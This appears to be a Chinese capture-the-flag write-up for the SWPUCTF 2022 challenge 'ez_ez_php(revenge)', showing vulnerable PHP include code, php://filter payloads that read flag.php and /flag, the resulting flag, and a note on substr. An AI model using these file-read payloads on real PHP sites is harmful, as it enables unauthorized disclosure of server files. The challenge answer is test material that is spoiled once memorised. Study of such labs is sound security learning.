php伪协议 [SWPUCTF 2022 新生赛]ez_ez_php(revenge)

打开题目

题目源代码如下

复制代码
 <?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    } 

    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php

代码审计一下

首先检查是否存在名为 file 的 GET 参数

如果存在 file 参数,就用substr函数检查该参数值的前三个字符是否为 "php"

  • 如果是的话,代码会输出 "Nice!!!",然后通过 include 函数包含该参数所指定的文件。
  • 如果不是以 "php" 开头,代码会输出 "Hacker!!"
  • 如果 file 参数不存在,则会显示当前文件的源代码。

很明显这里用php伪协议即可读取flag

payload

?file=php://filter/read=convert.base64-encode/resource=flag.php

解码得到

得到提示

把payload换成

?file=php://filter/read=convert.base64-encode/resource=/flag

解码即可得到flag

NSSCTF{7877cb1d-5672-4cc9-946a-d69f3c5d2640}

知识点:

subsub函数

substr(string,start<,length>)

主要功能是复制子字符串,要求从指定位置开始,并具有指定的长度

从string 的start位置开始提取字符串,length:待提取的字符串的长度

若length为以下情况时,返回整个字符串的所有字符

1、length不指定

2、length为空

3、length为负值

4、length大于字符串的长度

具体用法见:C++中substr()函数用法详解_substr c++-CSDN博客

相关推荐
冬奇Lab15 分钟前
ANR实战分析:一次audioserver死锁引发的系统级故障排查
android·性能优化·debug
冬奇Lab20 分钟前
Android车机卡顿案例剖析:从Binder耗尽到单例缺失的深度排查
android·性能优化·debug
万岳软件开发小城1 小时前
2026 在线教育新趋势:网校系统源码正在重塑教育培训平台开发模式
人工智能·php·在线教育系统源码·教育平台搭建·教育app开发·教育软件开发
ZHANG13HAO1 小时前
调用脚本实现 App 自动升级(无需无感、允许进程中断)
android
圆号本昊2 小时前
【2025最新】Flutter 加载显示 Live2D 角色,实战与踩坑全链路分享
android·flutter
小曹要微笑3 小时前
MySQL的TRIM函数
android·数据库·mysql
iCxhust4 小时前
linux /etc 目录 etc是什么缩写
linux·运维·服务器·php
mrsyf4 小时前
Android Studio Otter 2(2025.2.2版本)安装和Gradle配置
android·ide·android studio
DB虚空行者4 小时前
MySQL恢复之Binlog格式详解
android·数据库·mysql
豌豆学姐4 小时前
Sora2 能做什么?25 秒视频生成 API 的一次接入实践
大数据·人工智能·小程序·aigc·php·开源软件